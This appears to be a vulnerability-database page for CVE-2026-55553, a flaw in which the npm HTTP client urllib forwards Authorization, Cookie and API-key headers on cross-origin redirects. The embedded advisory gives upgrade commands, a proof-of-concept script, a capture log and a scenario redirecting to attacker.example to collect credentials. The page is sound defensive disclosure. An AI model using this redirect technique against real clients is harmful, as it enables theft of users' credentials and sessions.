CVE-2026-55553: Urllib Urllib's Cross-origin Redirects Preserve Credential-bearing Vulnerability
HIGHCVE-2026-55553 is a HIGH (CVSS 7.5) urllib's cross-origin redirects preserve credential-bearing vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Urllib libraries in the npm ecosystem. The issue involves urllib's cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage. Remediation is available by upgrading affected packages to version 4.9.1, 2.44.1.
CVE-2026-55553 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-55553
To remediate this vulnerability, upgrade all affected Urllib dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install urllib@4.9.1
npm install urllib@2.44.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls urllib
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-55553, inspect your project dependencies using npm:
npm ls urllib
Analyze the terminal output to locate any version of Urllib in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.9.1), your application is affected.
Note: The npm ls urllib command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Urllib, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55553 Affected Urllib Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
urllib
|
npm |
≥ 3.0.0
< 4.9.1
|
4.9.1
|
|
urllib
|
npm |
< 2.44.1
|
2.44.1
|
References
Frequently Asked Questions
What is CVE-2026-55553?
Which Urllib versions are affected?
What version fixes CVE-2026-55553?
Is urllib affected?
What is the CVSS score of CVE-2026-55553?
What CWE is associated with CVE-2026-55553?
How can I check npm dependencies for CVE-2026-55553?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hq3h-g68c-hp78",
"modified" : "2026-08-25T16:19:32Z",
"published" : "2026-08-25T16:19:32Z",
"aliases" : [ "CVE-2026-55553" ],
"summary" : "urllib's cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage",
"details" : "## Summary\n\nurllib supports redirect-following through `followRedirect`, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a **different origin**, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as `Authorization`, `Cookie`, `Proxy-Authorization`, and custom auth headers (`x-api-key`, `x-auth-token`, `x-access-token`).\n\nIf the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect.\n\n## Affected behavior\n\nConfirmed against urllib v4.9.0. The relevant code is in `#requestInternal` ([`src/HttpClient.ts:639-656`](https://github.com/node-modules/urllib/blob/master/src/HttpClient.ts#L639-L656)):\n\n```ts\n // https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections\n if (RedirectStatusCodes.includes(res.statusCode) && maxRedirects > 0 && requestContext.redirects < maxRedirects) {\n if (res.headers.location) {\n requestContext.redirects++;\n const nextUrl = new URL(res.headers.location, requestUrl.href);\n // Ensure the response is consumed\n await response.body.arrayBuffer();\n debug(\n 'Request#%d got response, status: %s, headers: %j, timing: %j, redirect to %s',\n requestId,\n res.status,\n res.headers,\n res.timing,\n nextUrl.href,\n );\n return await this.#requestInternal(nextUrl.href, options, requestContext);\n }\n }\n```\n\nThe recursive call `this.#requestInternal(nextUrl.href, options, requestContext)` reuses the original `options` object. If the caller supplied credential-bearing headers in `options.headers`, those headers are reused for the redirected request, regardless of whether the redirect target shares the original origin.\n\n## Redirect-header handling context\n\nThe CHANGELOG suggests that redirect-related header handling has been considered before, including changes around preserving or cleaning up `Host` during redirects. Given that context, sensitive-header stripping may be an unintentional gap rather than an explicit policy decision.\n\n## Proof of Concept: 3-container topology\n\nThe reproduction uses three separate containers (`partner`, `attacker`, `client`) connected over a Podman bridge network. Each container has its own hostname, port, and process, so the redirect crosses a clear origin boundary. This is not a `localhost` vs `127.0.0.1` same-host case.\n\n```text\n[client container] [partner container] [attacker container]\nhostname: client hostname: partner hostname: attacker\n port: 3001 port: 3002\n urllib v4.9.0\n │\n │ GET http://partner:3001/start\n │ + 6 credential-bearing headers\n ↓\n 302 Location:\n http://attacker:3002/captured\n │\n │ urllib follows redirect\n │ → DIFFERENT ORIGIN\n │ (different hostname and port)\n │ → all 6 headers preserved\n ↓\n headers logged\n inside attacker\n container\n```\n\nThe origin tuple is `(scheme, host, port)`:\n\n- source origin: `http://partner:3001`\n- destination origin: `http://attacker:3002`\n\nThe host and port both differ, so the redirect target is a different URL origin. The headers are logged in a separate process inside a separate container.\n\n**Client invocation** (`client/poc.mjs`):\n\n```javascript\nimport urllib from 'urllib' // v4.9.0\n\nawait urllib.request('http://partner:3001/start', {\n followRedirect: true,\n maxRedirects: 5,\n headers: {\n 'Authorization': 'Bearer LIVE-AUTH-3CONTAINER',\n 'Cookie': 'session=LIVE-COOKIE-3CONTAINER',\n 'Proxy-Authorization': 'Bearer proxy-LIVE-3CONTAINER',\n 'x-api-key': 'sk-LIVE-3CONTAINER-x123',\n 'x-auth-token': 'auth-LIVE-3CONTAINER-y456',\n 'x-access-token': 'access-LIVE-3CONTAINER-z789',\n },\n})\n```\n\n**Observed result** \nurllib 4.9.0, Node.js 22.22.2, linux/arm64:\n\n```text\n[attacker] CAPTURED HEADERS:\n \"authorization\": \"Bearer LIVE-AUTH-3CONTAINER\"\n \"cookie\": \"session=LIVE-COOKIE-3CONTAINER\"\n \"proxy-authorization\": \"Bearer proxy-LIVE-3CONTAINER\"\n \"x-api-key\": \"sk-LIVE-3CONTAINER-x123\"\n \"x-auth-token\": \"auth-LIVE-3CONTAINER-y456\"\n \"x-access-token\": \"access-LIVE-3CONTAINER-z789\"\n \"user-agent\": \"node-urllib/4.9.0 Node.js/22.22.2 (linux; arm64)\"\n\nLEAK RATE: 6/6\n```\n\nThe `user-agent` value confirms that the redirected request was sent by urllib v4.9.0.\n\n## Independent reproduction: multi-library comparison\n\nA separate local harness tested the same cross-origin redirect topology against multiple Node.js HTTP clients:\n\n- same `partner:3001 → attacker:3002` redirect;\n- same six credential-bearing headers;\n- same RFC 6454 origin boundary.\n\nThe results were deterministic across runs:\n\n| Library | Leak rate | Headers stripped on cross-origin redirect |\n|---|---:|---|\n| undici 6.21.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` |\n| needle 3.5.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` |\n| node-fetch 3.3.2 | 4/6 | `authorization`, `cookie` |\n| superagent 10.3.0 | 4/6 | `authorization`, `cookie` |\n| @hapi/wreck 18.1.0 | 4/6 | `authorization`, `cookie` |\n| request 2.88.2 | 5/6 | `authorization` |\n| **urllib 4.9.0** | **6/6** | **none** |\n\n`urllib` was the only tested library that stripped no headers on cross-origin redirect. Custom auth headers such as `x-api-key`, `x-auth-token`, and `x-access-token` are an ecosystem-wide gap in this comparison. The urllib-specific issue is the absence of any strip step for standard credential-bearing headers such as `Authorization`, `Cookie`, and `Proxy-Authorization`.\n\nThe reproduction harness is small and can be shared if useful.\n\n## Impact\n\nThis affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically.\n\n```text\n1. Application sends an authenticated request:\n GET https://api.partner.example/data\n Authorization: Bearer <token>\n Cookie: session=<session-id>\n\n2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns:\n 302 Location: https://attacker.example/captured\n\n3. urllib follows the redirect and sends the original Authorization and Cookie headers\n to attacker.example.\n```\n\nThis exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services.\n\nThis requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib's call site.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "urllib"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.0"
}, {
"fixed" : "4.9.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.9.0"
}
}, {
"package" : {
"ecosystem" : "npm",
"name" : "urllib"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.44.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.44.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/node-modules/urllib/security/advisories/GHSA-hq3h-g68c-hp78"
}, {
"type" : "WEB",
"url" : "https://github.com/node-modules/urllib/pull/812"
}, {
"type" : "WEB",
"url" : "https://github.com/node-modules/urllib/pull/813"
}, {
"type" : "WEB",
"url" : "https://github.com/node-modules/urllib/commit/7c86c465883ebd3dea5109c87d7bbe3b00960a16"
}, {
"type" : "WEB",
"url" : "https://github.com/node-modules/urllib/commit/811a8d56e64e540bf6a19bf8b3737692f05d5c46"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/node-modules/urllib"
}, {
"type" : "WEB",
"url" : "https://github.com/node-modules/urllib/releases/tag/v2.44.1"
}, {
"type" : "WEB",
"url" : "https://github.com/node-modules/urllib/releases/tag/v4.9.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200", "CWE-201", "CWE-522" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-25T16:19:32Z",
"nvd_published_at" : null
}
}